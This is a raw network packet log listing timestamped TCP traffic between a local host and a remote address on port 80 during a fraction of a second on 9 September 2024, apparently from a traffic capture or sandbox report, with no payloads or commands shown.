Sep 9, 2024 18:45:05.148595095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148611069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148611069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148621082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148627996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148642063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148653030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148686886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148725986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148741007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148756027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148777962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148798943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148832083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148848057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148864031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148881912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148888111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148902893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148926020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.148972034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.148989916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149003983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149018049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149019957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149038076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149050951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149110079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149126053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149141073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149156094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149169922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149174929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149192095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149195910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149209023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149213076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149226904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149229050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149245024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149280071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149363041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149379015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149405956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149419069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149451971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149468899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149485111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149499893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149512053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149517059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149521112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149544001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149557114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149561882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149576902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149641991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149641991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149646997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149698019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149787903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149804115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149831057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149832010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149847031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149847984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149864912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149873972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149883032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149892092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149899006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.149909019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149923086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.149944067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150007010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150023937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150039911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150053978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150060892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150082111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150099039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150119066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150232077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150248051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150275946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150281906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150293112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150300026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150315046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150316000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150331974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150347948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150350094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150360107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150367975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150372028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150391102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150407076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150417089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150454044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150702953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150717974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150732994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150747061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150758028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150778055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150790930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150815964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150831938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150856972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150918007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150940895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150955915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150959015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150979996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.150980949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150996923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.150998116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151021004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151020050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151036978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151047945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151063919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151076078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151091099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151092052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151113033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151115894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151129007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151139021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151154995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151170969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151189089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151205063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151221991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151238918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151253939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151253939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151254892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151268005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151272058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151288033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151299953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151304960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151308060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151340008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151346922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151355028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151365042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.151416063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.151416063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240139008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240314960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240474939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240489960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240504980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240520000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240530968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240535975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240552902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240552902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240566015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240585089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240607977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240622044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240633011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240638018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240633011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240655899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240672112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240674019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240674019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240683079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240690947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240720034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240722895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240724087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240745068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240751982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240760088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240761042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240782976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240786076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240797043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240803003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240818977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240823030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240835905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240839958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240855932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240856886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240870953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240894079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240895033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240911961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240926981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240931988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240945101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240948915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240962982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240968943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240979910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.240983009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.240998030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241000891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241013050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241014957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241036892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241055965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241139889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241154909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241168976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241183043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241183996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241199970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241203070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241215944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241215944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241235018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241242886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241252899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241257906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241276026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241292000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241457939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241481066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241496086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241523981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241528034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241544962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241545916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241561890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241570950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241584063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241589069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241609097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241611958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241620064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241628885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241663933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241672993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241678953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241695881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241702080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241714001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241720915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241734028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241739035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241755009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241755962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241772890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241796970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241879940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241895914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241908073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241910934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241925955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241926908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241939068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241945028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241960049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241964102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241967916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241981030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.241985083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.241998911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242002010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242014885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242029905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242062092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242062092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242207050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242222071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242237091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242250919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242265940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242274046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242283106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242292881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242299080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242309093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242316961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242325068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242341995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242357016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242479086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242496967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242505074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242511034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.242521048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.242547989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.287694931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.293728113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426115036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426208973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426246881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426263094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426279068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426292896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426295042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426314116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426316977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426337957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426404953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426419973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426433086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426435947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426445007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426454067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426461935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426472902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426481009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426491022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426497936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426512003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426531076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426613092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426630974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426647902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426655054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426666975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426691055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426691055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426707029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426709890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426728010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426764965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426892042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426907063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426923990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426937103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426944971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426954031 CEST	49707	80	192.168.2.5	45.152.113.10
